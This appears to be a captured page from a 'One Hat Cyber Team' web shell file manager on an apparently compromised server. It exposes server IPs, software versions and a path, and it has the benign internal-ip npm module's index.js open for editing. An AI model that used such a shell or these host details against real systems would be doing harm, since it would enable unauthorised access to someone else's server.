⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
internal-ip
/
Edit File: index.js
'use strict'; const os = require('os'); const defaultGateway = require('default-gateway'); const ipaddr = require('ipaddr.js'); function findIp(gateway) { const interfaces = os.networkInterfaces(); const gatewayIp = ipaddr.parse(gateway); let ip; // Look for the matching interface in all local interfaces Object.keys(interfaces).some(name => { return interfaces[name].some(addr => { const prefix = ipaddr.parse(addr.netmask).prefixLengthFromSubnetMask(); const net = ipaddr.parseCIDR(`${addr.address}/${prefix}`); if (net[0] && net[0].kind() === gatewayIp.kind() && gatewayIp.match(net)) { ip = net[0].toString(); } return Boolean(ip); }); }); return ip; } function promise(family) { return defaultGateway[family]().then(result => { return findIp(result.gateway) || null; }).catch(() => null); } function sync(family) { try { const result = defaultGateway[family].sync(); return findIp(result.gateway) || null; } catch (error) { return null; } } const internalIp = {}; internalIp.v6 = () => promise('v6'); internalIp.v4 = () => promise('v4'); internalIp.v6.sync = () => sync('v6'); internalIp.v4.sync = () => sync('v4'); module.exports = internalIp; // TODO: Remove this for the next major release module.exports.default = internalIp;
Simpan